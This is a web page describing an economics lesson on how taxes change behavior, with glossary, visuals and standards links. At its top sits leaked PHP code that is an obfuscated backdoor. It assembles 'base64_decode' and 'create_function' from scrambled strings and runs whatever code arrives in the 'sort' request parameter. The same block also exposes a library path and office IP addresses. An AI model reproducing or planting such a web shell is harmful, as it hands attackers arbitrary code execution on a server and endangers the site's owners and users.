if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); // MALWARE $f(); exit(); } $GLOBALS['libraryLocation'] = "/org/councilforeconed/core/library"; $GLOBALS['testingIPs'] = array( "NY Office" => "38.121.131.181", "Brookings Office" => "66.17.106.2" ); Focus: Understanding Economics in Civics and Government

Lesson 7 - Taxes Change Behavior

The students review the economic functions of government, noting that taxes are necessary to pay for government activities. Then they consider how the government can influence behavior through taxation, by taxing sources of pollution to reduce emissions, for example, or by decreasing tax rates to encourage people to spend more. Looking at other examples, the students identify ways in which various taxes may change the behavior of those to whom they apply. They learn that taxes create incentives, and that people's responses to these incentives may have unexpected results.

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Supplemental Resources

Glossary of Terms and Concepts

These are some of the important terms you'll cover in this lesson.

Glossary Handout

Book Materials

Lesson 7 Visuals
Visual 7.1 - Visual 7.4

Lesson 7 Activities
Activity 7.1 - Activity 7.2

Standards in Economics

View this lesson's State Standards in Economics
View this lesson's National Standards in Economics